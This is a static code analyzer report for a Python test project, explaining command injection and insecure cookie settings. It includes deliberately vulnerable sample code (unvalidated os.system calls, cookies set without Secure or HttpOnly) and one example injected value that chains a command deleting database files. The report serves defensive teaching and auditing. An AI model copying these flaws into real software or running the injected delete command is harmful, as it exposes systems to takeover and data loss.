KingFisher

Python 3 Simple Static Code Analyzer

Project

tests

Date

09:17:44 06-08-2021

Found vulnerabilities

High: 110

Medium: 120

Low: 9

Info: 0

Command Injection

Description

Executing commands from an untrusted source or in an untrusted environment can cause an application to execute malicious commands on behalf of an attacker.

Explanation

Command injection vulnerabilities take two forms:

- An attacker can change the command that the program executes: the attacker explicitly controls what the command is.

- An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means.

In this case, we are primarily concerned with the first scenario, the possibility that an attacker may be able to control the command that is executed. Command injection vulnerabilities of this type occur when:

1. Data enters the application from an untrusted source.

2. The data is used as or as part of a string representing a command that is executed by the application.

3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Example 1: The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

```
...
home = os.getenv('APPHOME')
cmd = home.join(INITCMD)
os.system(cmd);
...
```

The code in Example 1 allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 2: The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies the type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

```
...
btype = req.field('backuptype')
cmd = "cmd.exe /K \"c:\\util\\rmanDB.bat " + btype + "&&c:\\util\\cleanup.bat\""
os.system(cmd);
...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). After the shell is invoked, it will allow for the execution of multiple commands separated by two ampersands. If an attacker passes a string of the form "&& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3: The following code is from a web application that provides an interface through which users can update their password on the system. Part of the process for updating passwords in certain network environments is to run a make command in the /var/yp directory.

```
...
result = os.system("make");
...
```

The problem here is that the program does not specify an absolute path for make and fails to clean its environment prior to executing the call to os.system(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

Severity

High

Vulnerabilities

File tests\Command_Injection.py, Line 3, Pos 1

```
3 os.system("script.bat")
```

File tests\Command_Injection.py, Line 4, Pos 1

```
4 o.system("scriot.bat")
```

Recommendations

- If at all possible, use library calls rather than external processes to recreate the desired functionality.
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules.
- Run your code using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 77, CWE ID 78
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [11] CWE ID 078
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [10] CWE ID 078
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[7] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3

[8] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.2 Sanitization and Sandboxing Requirements, 5.2.3 Sanitization and Sandboxing Requirements, 5.2.5 Sanitization and Sandboxing Requirements, 5.2.8 Sanitization and Sandboxing Requirements, 5.3.6 Output Encoding and Injection Prevention Requirements, 5.3.8 Output Encoding and Injection Prevention Requirements, 10.3.2 Deployed Application Integrity Controls, 12.3.2 File Execution Requirements, 12.3.5 File Execution Requirements
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[27] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 078
[28] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[29] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I

[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Web Application Security Consortium 24 + 2 OS Commanding
[50] Standards Mapping - Web Application Security Consortium Version 2.00 OS Commanding (WASC-31)

Cookie Security: CSRF Cookie not Sent Over SSL

Description

The program does not explicitly set the CSRF_COOKIE_SECURE property to True or set it to False.

Explanation

Modern web browsers support a Secure flag for each cookie. If the flag is set, the browser will only send the cookie over HTTPS. Sending cookies over an unencrypted channel can expose them to network sniffing attacks, so the secure flag helps keep a cookie's value confidential. This is especially important if the cookie contains private data, session identifiers, or carries a CSRF token.

Example 1: The following configuration entry does not explicitly set the Secure bit for CSRF cookies.

```
...
MIDDLEWARE_CLASSES = (
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'csp.middleware.CSPMiddleware',
    'django.middleware.security.SecurityMiddleware',
...
)
...
```

If an application uses both HTTPS and HTTP, but does not set the Secure flag, cookies sent during an HTTPS request will also be sent during subsequent HTTP requests. Attackers may then compromise the cookie by sniffing the unencrypted network traffic, which is particularly easy over wireless networks.

Severity

High

Vulnerabilities

File tests\Cookie_Security__CSRF_Cookie_not_Sent_Over_SSL.py, Line 1, Pos 1

```
CSRF_COOKIE_SECURE = False
```

File tests\Cookie_Security__CSRF_Cookie_not_Sent_Over_SSL.py, Line 2, Pos 1

```
CSRF_COOKIE_SECURE = 0
```

Recommendations

- Always set the secure attribute when the cookie should sent via HTTPS only.

Links

[1] CSRF_COOKIE_SECURE documentation Django Foundation Group (https://docs.djangoproject.com/en/1.8/ref/settings/#std:setting-CSRF_COOKIE_SECURE)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 614
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001184, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[4] Standards Mapping - FIPS200 CM, SC
[5] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)

[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[8] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[9] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[10] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[12] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 3.2.3 Session Binding Requirements, 3.4.1 Cookie-based Session Management, 6.2.1 Algorithms, 8.1.6 General Data Protection
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.7, Requirement 6.5.9
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470

CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)

Cookie Security: Cookie not Sent Over SSL

Description

The program creates a cookie without setting the Secure flag to True

Explanation

Modern web browsers support a Secure flag for each cookie. If the flag is set, the browser will only send the cookie over HTTPS. Sending cookies over an unencrypted channel can expose them to network sniffing attacks, so the secure flag helps keep a cookie's value confidential. This is especially important if the cookie contains private data or session identifiers, or carries a CSRF token.

Example 1: The following code adds a cookie to the response without setting the Secure flag.

```
from django.http.response import HttpResponse
...
def view_method(request):
    res = HttpResponse()
    res.set_cookie("emailCookie", email)
    return res
...
```

If an application uses both HTTPS and HTTP, but does not set the Secure flag, cookies sent during an HTTPS request will also be sent during subsequent HTTP requests. Attackers may then compromise the cookie by sniffing the unencrypted network traffic, which is particularly easy over wireless networks.

Severity

High

Vulnerabilities

File tests\Cookie_Security__Cookie_not_Sent_Over_SSL.py, Line 3, Pos 5

```
3     res.set_cookie("emailCookie", email, path='/somethibg', domain="domain.
 >com", httponly=True, samesite=None)
```

File tests\Cookie_Security__Cookie_not_Sent_Over_SSL.py, Line 8, Pos 5

```
8     res.set_cookie("emailCookie", email, secure=False, path='/somethibg', d
 >omain="domain.com", httponly=True)
```

Recommendations

- Always set the secure attribute when the cookie should sent via HTTPS only.

Links

[1] Request and Response documentation Django Foundation Group (https://docs.djangoproject.com/en/2.1/ref/request-response/)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 614
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001184, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[4] Standards Mapping - FIPS200 CM, SC
[5] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[8] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management

[9] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[10] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[12] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 3.2.3 Session Binding Requirements, 3.4.1 Cookie-based Session Management, 6.2.1 Algorithms, 8.1.6 General Data Protection
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.7, Requirement 6.5.9
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470

CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)

Cookie Security: HTTPOnly not Set

Description

The program creates a cookie, but fails to set the HttpOnly flag to True.

Explanation

Browsers support the HttpOnly cookie property that prevents client-side scripts from accessing the cookie. Cross-site scripting attacks often access cookies in an attempt to steal session identifiers or authentication tokens. Without HttpOnly enabled, attackers have easier access to user cookies.

Example 1: The following code creates a cookie without setting the HttpOnly property.

```
from django.http.response import HttpResponse
...
def view_method(request):
    res = HttpResponse()
    res.set_cookie("emailCookie", email)
    return res
...
```

Severity

Medium

Vulnerabilities

File tests\Cookie_Security__HTTPOnly_not_Set.py, Line 3, Pos 5

```
3    res.set_cookie("emailCookie", email, secure=True, path='/somethibg', do
>main="domain.com", samesite=None)
```

File tests\Cookie_Security__HTTPOnly_not_Set.py, Line 8, Pos 5

```
8    res.set_cookie("emailCookie", email, secure=True, path='/somethibg', do
>main="domain.com", httponly=False)
```

Recommendations

- Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Links

[1] Amit Klein Round-up: Ways to bypass HttpOnly (and HTTP Basic auth) (http://www.webappsec.org/lists/websecurity/archive/2006-05/msg00025.html)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 1004
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001184, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[6] Standards Mapping - FIPS200 CM
[7] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1), SC-23 Session Authenticity (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity, SC-23 Session Authenticity
[10] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.2.3 Session Binding Requirements, 3.4.2 Cookie-based Session Management, 4.1.3 General Access Control Design, 4.2.1 Operation Level Access Control, 4.3.3 Other Access Control Considerations, 13.1.4

Generic Web Service Security Verification Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II

[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002210 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
